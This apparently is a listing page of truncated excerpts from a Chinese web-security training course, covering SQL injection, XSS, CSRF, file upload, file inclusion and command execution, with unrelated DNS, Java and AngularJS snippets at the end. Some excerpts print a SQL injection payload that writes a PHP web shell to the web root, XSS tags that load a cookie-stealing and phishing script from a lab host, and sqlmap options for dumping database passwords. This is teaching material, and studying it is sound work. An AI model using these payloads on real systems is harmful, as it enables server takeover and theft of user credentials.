风炫安全web安全学习第三十节课 命令执行&代码执行基础 代码执行&命令执行 RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统. 远程系统命令执行 一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口 比如我们常见的路由器.防火墙.入侵检测等设备的web管理界面上 一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果.而,如果,设计者在完成该…
风炫安全web安全学习第三十一节课 命令执行以及代码执行演示 参考: http://blog.evalshell.com/2020/12/20/风炫安全web安全学习第三十一节课-命令执行以及代/…
风炫安全web安全学习第三十七节课 15种上传漏洞讲解(二) 05后缀名黑名单校验之上传.htaccess绕过 还是使用黑名单,禁止上传所有web容器能解析的脚本文件的后缀 $is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",&…
风炫安全WEB安全学习第三十八节课 越权漏洞演示与讲解 越权漏洞 0x01 漏洞介绍 越权漏洞的危害与影响主要是与对应业务的重要性相关,比如说某一页面服务器端响应(不局限于页面返回的信息,有时信息在响应包中,页面不一定能看见)中返回登录名.登录密码.手机号.×××等敏感信息,如果存在平行越权,通过对用户ID的遍历,就可以查看所有用户的敏感信息,这也是一种变相的脱裤,而且很难被防火墙发现,因为这和正常的访问请求没有什么区别,也不会包含特殊字符,具有十足的隐秘性. 水平越权 水平越权指的是攻击者尝试…
风炫安全web安全学习第三十三节课 文件包含漏洞基础以及利用伪协议进行攻击 文件包含漏洞 参考文章:https://chybeta.github.io/2017/10/08/php文件包含漏洞/ 分类 LFI(Local File Inclusion) 本地文件包含漏洞,顾名思义,指的是能打开并包含本地文件的漏洞.大部分情况下遇到的文件包含漏洞都是LFI.简单的测试用例如前所示. RFI(Remote File Inclusion) 远程文件包含漏洞.是指能够包含远程服务器上的文件并执行.由于远…
风炫安全web安全学习第三十六节课 15种上传漏洞讲解(一) 文件上传漏洞 0x01 漏洞描述和原理 文件上传漏洞可以说是日常渗透测试用得最多的一个漏洞,因为用它获得服务器权限最快最直接.但是想真正把这个漏洞利用好却不那么容易,其中有很多技巧,也有很多需要掌握的知识.俗话说,知己知彼方能百战不殆,因此想要研究怎么防护漏洞,就要了解怎么去利用. 网站web应用都有一些文件上传功能,比如文档.图片.头像.视频上传,当上传功能的实现代码没有严格校验上传文件的后缀和文件类型,此时攻击者就可以上传一个we…
风炫安全web安全学习第三十五节课 文件下载和文件读取漏洞 0x03 任意文件下载漏洞 一些网站由于业务需求,往往需要提供文件下载功能,但若对用户下载的文件不做限制,则恶意用户就能够下载任意敏感文件,这就是文件下载漏洞. 漏洞产生原因 有读取文件的函数 读物文件的路径用户可控,且没有经过校验,或者校验不严格 输出文件内容 一个正常的网站,存在一个下载文件的功能,同时还会从浏览器接收文件名字 文件下载的两种方式 1.直接下载: <a href="http://www.a.com/xxx.ra…
风炫安全web安全学习第三十四节课 文件包含漏洞防御 文件包含防御 在功能设计上不要把文件包含的对应文件放到前台去操作 过滤各种../,https://, http:// 配置php.ini文件 allow_url_fopen=off allow_url_include=off magic_quotes_gpc=on 通过白名单策略 topic.php,image.php file=topic.php $allow_file = [ 'topic.php', 'image.php' ]; if…
风炫安全web安全学习第三十二节课 Python代码执行以及代码防御措施 Python 语言可能发生的命令执行漏洞 内置危险函数 eval和exec函数 eval eval是一个python内置函数,语法为eval(expression, globals=None,locals=None) eval函数接收三个参数:其中 expression 参数是用做运算的字符串类型表达式:globals参数用于指定运行时的全局命名空间:Locals参数用于指定运行时的局部命名空间.globals与 loca…
风炫安全WEB安全学习第十七节课 使用Sqlmap自动化注入(一) sqlmap的使用 sqlmap 是一个开源渗透测试工具,它可以自动检测和利用 SQL 注入漏洞并接管数据库服务器.它具有强大的检测引擎,同时有众多功能,包括数据库指纹识别.从数据库中获取数据.访问底层文件系统以及在操作系统上带内连接执行命令. 项目地址: https://github.com/sqlmapproject/sqlmap 第一步:-u "xxx" -u 参数指定地址然后进行注入 第二步 -u "…
风炫安全web安全学习第二十九节课 CSRF防御措施 CSRF防御措施 增加token验证 对关键操作增加token验证,token值必须随机,每次都不一样 关于安全的会话管理(SESSION) 不要在客户端保存敏感信息 关闭浏览器直接销毁SESSION 设置会话过期操作,比如超过15分钟没有操作,直接销毁SESSION 访问控制的安全管理 敏感信息修改的时候需要二次验证,比如修改密码需要验证旧密码. 敏感信息修改使用POST,而不是GET 通过HTTP头部的REFERER来限制原来页面 增加验…
风炫安全web安全学习第二十八节课 CSRF攻击原理 CSRF 简介 跨站请求伪造 (Cross-Site Request Forgery, CSRF),也被称为 One Click Attack 或者 Session Riding ,通常缩写为CSRF,是一种对网站的恶意利用.尽管听起来像XSS,但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站. 在攻击的场景伪造一个请求(一般是一个链接),然后欺骗用户点击,用户一旦点击了这个请求,整…
风炫安全WEB安全学习第二十七节课 XSS的防御措施 XSS防御措施 总的原则 控制好输入/输出 过滤:根据业务需求进行过滤,对email,手机号码这样的输入框进行验证. 转义:所有输出到前端的数据都根据输出点进行转义,对输入的字符串进行html实体化编码 PHP php可以用以下函数来防御 htmlspecialchars(); htmlentities(); HTMLPurifier.auto.php插件 http://htmlpurifier.org/download RemoveXss函…
风炫安全WEB安全学习第二十六节课 XSS常见绕过防御技巧 XSS绕过-过滤-编码 核心思想 后台过滤了特殊字符,比如说…
风炫安全WEB安全学习第二十五节课 利用XSS键盘记录 XSS键盘记录 同源策略是浏览器的一个安全功能,不同源的客户端脚本在没有明确授权的情况下,不能读写对方资源.所以xyz.com下的js脚本采用ajax读取abc.com里面的文件数据是会被拒绝的. 同源策略限制了从同一个源加载的文档或脚本如何与来自另一个源的资源进行交互.这是一个用于隔离潜在恶意文件的重要安全机制. 注意,资源文件不受影响: <script src="..."> <img src="..…
风炫安全WEB安全学习第二十四节课 利用XSS钓鱼攻击 XSS钓鱼攻击 HTTP Basic Authentication认证 大家在登录网站的时候,大部分时候是通过一个表单提交登录信息. 但是有时候浏览器会弹出一个登录验证的对话框,如下图,这就是使用HTTP基本认证. 在你访问一个需要HTTP Basic Authentication的URL的时候,如果你没有提供用户名和密码,服务器就会返回401,如果你直接在浏览器中打开,浏览器会提示你输入用户名和密码,也就是上面的图示. 要在发送请求的时候…
风炫安全WEB安全学习第二十三节课 利用XSS获取COOKIE XSS如何利用 获取COOKIE 我们使用pikachu写的pkxss后台 使用方法: <img src="http://fx.com/pikachu/pkxss/xfish/xfish.php" /> <script src="http://fx.com/pikachu/pkxss/xfish/xfish.php"></script> 参考: http://blog…
风炫安全WEB安全学习第二十二节课 DOM型XSS讲解 Dom型XSS演示 通过Javascript,可以重构整个HTML文档,你可以添加.移除.改变或重排页面上的项目 要改变页面的某个东西,JavaScript就需要获得对HTML文档中所有元素进行访问的入口,这个入口,连同对HTML元素进行添加.移动.改变或者移除的方法和属性,都是通过文档对象模型来获得的(DOM) 所以,你可以把DOM理解为一个一个访问HTML的标准编程接口 参考: http://blog.evalshell.com/202…
风炫安全WEB安全学习第二十一节课 存储型XSS讲解 存储型XSS演示 存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行.这种XSS比较危险,容易造成蠕虫,盗窃cookie等. 反射型XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面. 如下面这个点击弹出自己的在该网站的cookie: 最大的区别就是xss…
风炫安全WEB安全学习第二十节课 反射型XSS讲解 反射性xss演示 原理讲解 如果一个应用程序使用动态页面向用户显示错误消息,就会造成一种常见的XSS漏洞.通常,该页面会使用一个包含消息文本的参数,并在响应中将这个文 本返回给用户.对于开发者而言,使用这种机制非常方便,因为它允许他们从应用程序中调用一个定制的错误页面,而不需要对错误页面中的消息分别进行硬编码. <p>Sorry, an error occurred.</p> 提取用户提交的输入并将其插入到服务器响应的HTML代码…
风炫安全WEB安全学习第十九节课 XSS的漏洞基础知识和原理讲解 跨站脚本攻击(Cross-site scripting,通常简称为XSS) 反射型XSS原理与演示 交互的数据不会存储在数据库里,一次性的.一般是查询导致或者是错误的js执行 存储型XSS原理与演示 交互的数据会被存放在数据库里,永久性存储,一般出现在留言板,注册等页面 Dom型XSS原理与演示 漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞.不与后台服务器产生数据交互,是一种通过DOM操作前…
风炫安全WEB安全学习第十八节课 使用SQLMAP自动化注入(二) –is-dba 当前用户权限(是否为root权限) –dbs 所有数据库 –current-db 网站当前数据库 –users 所有数据库用户 –current-user 当前数据库用户 –random-agent 构造随机user-agent –passwords 数据库密码 –proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理 –time-sec=TIMESEC DBMS响应…
风炫安全Web安全学习第十六节课 高权限sql注入getshell sql高权限getshell 前提条件: 需要知道目标网站绝对路径 目录具有写的权限 需要当前数据库用户开启了secure_file_priv select database() into outfile '/var/www/html/1.txt' allen' union select 1,'<?php eval($_GET[w]); ?>' into outfile '/var/www/html/2.php' # site…
数字型的Sql注入 风炫安全Web安全学习第十一节课 字符型和搜索型的sql注入 风炫安全Web安全学习第十二节课 mysql报错函数注入 风炫安全Web安全学习第十三节课 CUD类型的sql注入 风炫安全Web安全学习第十四节课 Http header类型的sql注入 风炫安全Web安全学习第十五节课 基于时间和布尔型的Sql注入 SQL注入 基础知识 数字: select username,email from users where id=1; 字符串:Select id,email fr…
centos  DNS服务搭建  DNS原理  使用bind搭建DNS服务器 配置DNS转发 配置主从  安装dig工具  DHCP  dhclient  各种域名解析记录  mydns DNS动态更新    第三十节课 上半节课 DNS原理使用bind搭建DNS服务器配置DNS转发 下半节课 配置主从安装dig工具DHCPdhclient 各种域名解析记录mydns 一. DNS原理相关DNS 为Domain Name System(域名系统)的缩写,它是一种将ip地址转换成对应的主机名或将主…
随着Java学习的深入,感觉大一时搞了一年的ACM,简直是明智之举,Java里非常多数据结构.算法类的东西,理解起来就轻松多了 Set集合下有两大子类开发经常使用 HashSet集合 .TreeSet集合 Set集合的元素是不反复且无序 一.HashSet集合 API文档解释:此类实现 Set 接口,由哈希表(实际上是一个 HashMap 实例)支持. 它不保证 set 的迭代顺序:特别是它不保证该顺序恒久不变.此类同意使用null 元素. 此类为基本操作提供了稳定性能,注意.此实现不是同步的.…
整个集合框架中最经常使用的就是List(列表)和Set(集) 一.List集合 && Set的特点 Collection的子接口: 1.List:有序(存入和取出的顺序一致),元素都有索引且能够反复    API文档解释:有序的 collection(也称为序列).此接口的用户能够对列表中每一个元素的插入位置进行精确地控制.用户能够依据元素的整数索引(在列表中的位置)訪问元素,并搜索列表中的元素. 2.Set:元素不能反复,无序,有可能会有序    API文档解释:一个不包括反复元素的 c…
将基本数据类型(8种:int..)封装成对象的优点就是能够在对象中封装很多其它的功能和方法来操控该数据 常见的操作就是:用于基本数据类型与字符串之间的转换 基本数据类型对象包装类一般用于基本类型和字符串之间的转换 基本类型----->字符串 1.基本类型数值+"" 2.用string类中的valueOf(基本类型数值) 3.用Integer.ValueOf(); 字符串-->基本类型数值 1.使用包装类中的静态方法XXX  parseXXX("XXXX"…
文件操作 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Conten…
本篇介绍指令的最后两个属性,require和controller 当一个指令需要和父元素指令进行通信的时候,它们就会用到这两个属性,什么意思还是要看栗子: html: <outer‐directive> <inner‐directive></inner‐directive> </outer‐directive> 这里有两个指令,一个outer-directive指令元素,它里面又有一个inner-directive指令元素. js: app.directiv…